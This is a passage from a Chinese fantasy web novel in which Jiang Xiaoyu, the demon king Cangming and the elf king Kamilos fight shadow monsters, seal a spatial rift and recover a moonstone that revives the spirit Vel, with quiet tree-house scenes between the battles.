江小鱼终于忍不住笑出声。
“他好有意思,比你说的有意思多了。”江小鱼说,“你说他麻烦,我倒觉得他挺可爱的。”
他顿了顿,环顾了一下突然变得空荡的大殿,小声道:“不过,这就把我们晾这儿了?接下来该干嘛,自助观光吗?”
他话音刚落,那位精灵少女像是接收到信号一样,适时地从殿外走进,微笑着朝他们行礼:“让二位久等了,王已吩咐我为你们准备住处,请随我来。”
穿行在如同梦幻仙境的精灵聚居地,江小鱼看得目不暇接。直到少女停下脚步,他才收回视线,看向眼前这棵壮观得如同童话住所的巨树。
“我们……住这里面?”
树干上嵌着一扇门,推门进去,里面是一间宽敞的树屋。床铺柔软,窗台上摆着几盆不知名的花,空气中弥漫着淡淡的清香。
“这是你们的房间。”少女微微欠身,“晚饭会送到这里。如果需要什么,拉一下窗边的铃铛。”
江小鱼道了谢,少女退下,轻轻关上门。
他环顾四周,到处摸摸看看。“这树屋也太棒了,比魔宫的房间还有意思。”
江小鱼趴在窗台上往外看。精灵族的夜晚来得很快,天色渐渐暗下来,森林里亮起星星点点的荧光,不知道是花还是虫子。
“那边就是裂缝的方向?”他指着远处那片银白色的光。
“嗯。”
“明天就要去了。”江小鱼缩回脑袋,坐到沧溟对面,“你紧张吗?”
沧溟看了他一眼。“不紧张。”
“也是,你是魔王。”江小鱼托着下巴,“那精灵王呢?他看起来也不紧张。”
“他装的。”
江小鱼愣了一下,然后笑了。“你怎么知道?”
“认识他很久了。”沧溟的语气很淡,“他紧张的时候话会变少。”
江小鱼回想了一下刚才在大殿里的情景——精灵王确实话不多,除了“坐吧”“说吧”“行”之外,没怎么开口。
“那他刚才是在紧张?”
“嗯。”
“紧张什么?”
沧溟没回答。江小鱼等了一会儿,以为他不会说了。
“怕你出事。”沧溟说。
江小鱼愣住了。“怕我出事?他又不认识我。”
“你是我带来的。”沧溟看着他,“他怕你出事,我会怪他。”
江小鱼心跳漏了一拍。他低下头,假装整理背包。
“哦。”
过了一会儿,他小声说:“那你还让他带路?”
“他路熟。”
晚饭送来了,是精灵族的素食,但做得精致,味道也好。江小鱼吃得心满意足,把盘子里的东西扫了个精光。
吃完饭,他躺在床上,盯着天花板。树屋的天花板是木头的,有天然的纹路,在灯光下像一幅画。
“沧溟。”
“嗯。”
“你说,裂缝那边到底是什么?”
沧溟沉默了一会儿。
“不知道。”
江小鱼翻了个身,从口袋里掏出那颗暖石,攥在手心里。还是温的。
“明天我们就能知道了。”
“嗯。”
江小鱼闭上眼睛。过了一会儿,他又睁开。
“对了,你刚才说‘以后再说’。”
“什么?”
“电话那个。”江小鱼在昏暗的光线里看着沧溟侧脸的轮廓,“你说‘以后再说’。你怎么知道还有以后?”
沧溟没回答。
江小鱼等了一会儿,以为他不会说了。
“不知道。”沧溟说,他的声音比平时更低更轻。
江小鱼的心像是被那声音轻轻挠了一下。
不知道?是不确定这个世界的未来?还是不知道该如何定义他们的“以后”?
他没再问了,只是翻了个身,把脸埋进柔软的枕头里,手心里攥着那颗温热的暖石。
窗外的荧光越来越亮,森林里传来虫鸣声,很轻,像摇篮曲。
江小鱼把暖石放在枕头边,翻了个身,把被子拉到下巴。
“明天加油。”他闷声说,更像是对自己说。
“嗯。”
一声很轻的回应,落在寂静的空气里,却莫名让人觉得安稳。
25. 干的不错
清晨,森林还弥漫着白色的薄雾。江小鱼跟着沧溟和精灵王卡米洛斯,踏入被称为“旧地”的区域。
与精灵聚居地的祥和不同,这里的树木呈现出一种黯淡的灰绿色。
空气中也弥漫着一股复杂的气味。初闻是浓重的、植物腐败的味道,但深处却潜藏着一丝类似硫磺的刺鼻,越是深入,这气味便越清晰,让他的喉咙微微发干,舌根泛起淡淡的苦味。
裸露在外的皮肤,仿佛暴露在极其细微的静电中,传来一阵阵似有若无的、令人心烦意乱的刺痛和麻痒。他悄悄活动了一下手指,那种感觉如影随形。
“跟紧些,别掉队。”
走在前方的精灵王没有回头,声音透过薄雾传来,依旧是那份冷淡,但江小鱼似乎听出了一丝不同以往的紧绷。
“这里的空间不太稳定,走丢了,可没空找你。”
沧溟没说话,只是脚步微不可察地缓了半步,恰好将江小鱼护在一个更容易顾及的身位。
这个细微的动作被精灵王用余光瞥见,他几不可闻地轻哼了一声。
江小鱼的注意力却被路旁的东西吸引。
那是一尊半埋于黑色泥土中的石雕,断裂成数截,但从残留的优美弧线来看,依稀能辨出是某种精灵风格的装饰,或许曾是某座小型祭坛的一部分。
石雕的断面没有尘土,反而覆盖着一层暗红色、如同凝结血液般的苔藓,正极其微弱地搏动着。
走在前方的精灵王似乎也注意到了。他没有停顿,甚至没有转头,只是垂在身侧的指尖极其轻微地一弹。一点米粒大小的翠绿荧光飘落,精准地落在那些暗红苔藓上。
“嗤”的一声轻响,苔藓瞬间化为一股青烟消散,那石雕的断面终于露出被严重腐蚀的、灰败的本质。
江小鱼的心微微一沉。这个无声的动作比任何言语都更清楚:这片土地在持续不断地、贪婪地吞噬着一切昔日的美好。
深入旧地不久,异状便出现了。几头形态扭曲、仿佛由暗影和腐烂植物拼接而成的魔物,从扭曲的树干后扑出。
它们没有眼睛,但裂开的口器准确地对准了生者的气息。
“来了。”
精灵王言简意赅,同时抬手。他修长的指尖萦绕着翠绿的光芒,地面瞬间窜出坚韧的藤蔓,精准地捆住了冲在最前的两只魔物的下肢。
“左边交给你。”他这话是对沧溟说的。
沧溟甚至没有点头回应。在精灵王话音落下的瞬间,他已侧身,一道凝实的黑色能量如同镰刀般横扫,将左侧扑来的另一只魔物拦腰斩断,黑雾滋滋作响地蒸发。
与此同时,精灵王的光箭也已离弦,补上了右侧因藤蔓束缚而产生的空隙。
他们的配合行云流水,没有一句多余的交流。
江小鱼几乎是本能地沉肩、举盾。
“砰!”
一只从侧翼袭来的小型影魔撞在盾上,冲击力让他手臂发麻,但他稳稳抵住了,甚至顺势用单手剑一个上挑,在影魔虚幻的身体上划开一道口子,黑气嗤嗤逸散。
“干得不错。”
精灵王略带诧异的声音传来,一道翠绿藤蔓随即缠上那受伤的影魔,将其彻底绞碎。
他没想到这个人类的反应和基本功比预想中扎实。
短暂的战斗间隙,江小鱼甩了甩被震得发麻的持盾手臂,趁机深呼吸,试图压下狂跳的心脏。
他注意到沧溟的目光似乎从他身上掠过,然后低沉的声音响起:
“换气。用腹,别用喉。”
言简意赅,是提醒他调整因紧张而紊乱的浅呼吸。
江小鱼一愣,连忙照做,几次深长的腹式呼吸后,果然感觉胸口的窒闷感缓解了不少。
战斗继续。
江小鱼紧守自己的侧翼,盾牌格挡,单手剑寻找机会刺击。
他力量不足以秒杀魔物,但精准的防御和骚扰,有效地减轻了沧溟和精灵王防护侧后方的压力,让他们能更专注于正面突破和清除高威胁目标。
然而,异变陡生。
地面突然裂开,数条滑腻的阴影触手猛地窜出,闪电般卷向正在换位的江小鱼!这袭击刁钻而突然。
江小鱼汗毛倒竖,但他的反应和实战积累的条件反射救了他。他几乎是想也不想,将全身力气灌注到盾牌上,狠狠向下砸击!
“嘭!”
一声闷响,盾牌上的暗纹微光一闪,与阴影触手接触的地方爆开一圈淡黑色的波纹。触手被砸得一滞,虽未断裂,但缠绕的势头被硬生生打断。
就这争取到的不到一秒的间隙——
一道撕裂空间的黑色刃光与三支呈品字形射来的光箭,几乎同时到达,将那些阴影触手彻底湮灭。
沧溟的身影出现在江小鱼身侧,目光快速扫过他全身。精灵王也持弓走近,眉头微挑。
“反应不慢。”精灵王评价道,这次语气里少了些随意,多了点认真的审视。他能看出,刚才那一下,不仅仅是装备好,更需要勇气、判断和一点战斗的灵性。
沧溟没说话,只是伸手,在江小鱼紧握的盾牌上轻轻一抹,拂去一缕残留的阴影气息。这个动作很轻,很快,但带着一种无声的认可。
清理掉这批魔物,他们终于抵达了目的地。
那是一个悬浮在半空、不断扭曲旋转的黑色裂隙,边缘闪烁着不祥的紫红色光芒,丝丝缕缕的黑暗气息从中渗出,污染着周围的土地。
裂隙下方,是一片散发着柔和月白光晕的晶簇——月光石矿脉。
“就是它了。”精灵王停下脚步,眉头紧锁,“比我上次来看时,又扩大了一些。”
沧溟走上前,端详着裂缝,随后伸出双手。漆黑的魔力自他掌心涌出,开始缝合那道空间伤口。过程看似平静,但江小鱼能看见沧溟额角渗出细密的汗珠,能感受到周围空气剧烈的魔力波动。
精灵王也一言不发,但手中已凝聚起纯净的自然魔力,萦绕在周围,净化着从裂缝中逸散出的最后一点污秽。
不知过了多久,那道扭曲的裂缝终于在沧溟的力量下发出最后一声低鸣,彻底弥合、消失。
周围令人压抑的气息一扫而空,月光石的光芒似乎都更明亮了几分。
精灵王他静立片刻,然后缓步走到那片重焕月白光华的晶簇前,右手抚在心口,以一种古老而优美的韵律,低声吟诵起精灵语的语句。
那语言宛如歌唱,清泉般流淌在寂静的空气里,带着敬意与哀伤。
随着他的吟唱,晶簇的光芒温柔地脉动着,仿佛在回应。
片刻,他俯身,用修长的手指,如同采摘最娇嫩的花朵般,轻轻握住那块最核心的月光石。
晶石脱离矿脉时,发出一声清越如磬的微鸣,光华内敛,温润地躺在他掌心。
“给,你要的月光石。”他将月光石递给沧溟。
他的语气似乎轻松了些:“总算解决了一个麻烦……”
他话未说完,江小鱼却蹲在刚才裂缝下方的地面,用手指抹了抹泥土。
“等等,你们
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看这里。”他指着地面。那里有几道非常细微、几乎难以察觉的黑色纹路,从裂缝消失的中心点,蜿蜒着指向森林更幽暗的深处。
沧溟和精灵王脸色同时一凝,蹲下身。
精灵王将手覆上那些纹路,闭眼感知,片刻后睁眼,琥珀色的眸子里满是凝重。
沧溟站起身,望向纹路指向的黑暗,声音低沉,“这道裂缝,或许只是某个更大源头延伸出的触角。它在为更深处的东西供给能量,或者……在为其指引方向。”
精灵王也站了起来,表情恢复了惯有的冷肃,但眼神深处是浓浓的忧虑:“旧地的更深处,靠近沉眠谷地的地方,魔力流动一直有些异常。我原以为是旧日战争残留……现在看来,必须去查看一番了。”
回程的路上,气氛比来时沉重。拿到月光石的喜悦,被新的阴云冲淡。
江小鱼把核心掏出来,和几块月光石一起捧在手心。银白色的光从月光石上流出,像被什么牵引着,缓缓涌入核心。核心越来越亮,表面的裂纹一条一条愈合,最后只剩下几道深浅不一的痕迹。
月光石的光芒暗了下去,变成了普通的石头。
“薇尔?”江小鱼小声喊。
“在。”薇尔的声音响起来,清晰、平稳,不再是之前那种有气无力的感觉。
江小鱼松了口气:“你现在感觉怎么样?”
“好多了。”薇尔顿了顿,“月光石的能量很足,再加上你一路上……那些情绪波动,够我维持很长时间。”
“那你现在能做什么?”
“比你们更早感知危险。”薇尔说,“还有——”她顿了顿,“我记起了一些东西。”
江小鱼心里一紧。“什么东西?”
“那种气息,”薇尔的声音变得凝重,“裂缝上的黑色纹路,那种气息……我见过。很久以前。不是这个世界。”
精灵王从旁边走过来,听见了最后一句。“不是这个世界?”
“嗯。”薇尔说,“裂缝的另一边,可能连接着一个我们不知道的地方。如果那个源头真的存在……”她没有说下去。
精灵王的脸色沉了下来。
沧溟始终没开口,只是看了江小鱼一眼,尾巴晃了一下。
江小鱼把核心小心地收回口袋,拍了拍手上的灰。
“走吧,先回去。”
精灵王点点头,转身带路。走了一会儿,他忽然开口:“沉眠谷地,精灵族世代都将其视为禁地。旧日战争时,那里陨落过不少强大的存在。如果裂缝的源头真的在那里……”他顿了顿,“你们要做好准备。”
江小鱼看了沧溟一眼。沧溟的表情没变,但尾巴没晃。
“我知道了。”江小鱼说。
夜晚,树屋内。
江小鱼摩挲着温润的月光石,忍不住问正在闭目养神的沧溟:“那个沉眠谷地,是不是很危险?”
沧溟“嗯”了一声。
“比今天还危险?”
“嗯。”
过了一会儿,他感觉到身边一沉。沧溟不知何时坐到了床边,将一个东西放在他枕边——是那颗暖石,已经被他用魔力重新烘得暖洋洋的。
“睡。”沧溟只说了一个字,便起身回到自己的位置。
但江小鱼看着那块暖石,看着窗外静谧的、暂时安全的精灵森林,心中那份因未知而生的不安,奇迹般地被一股暖流压下了些许。
他知道,明天又将踏上旅途,前往更危险的地方。
但此刻,他并非孤身一人。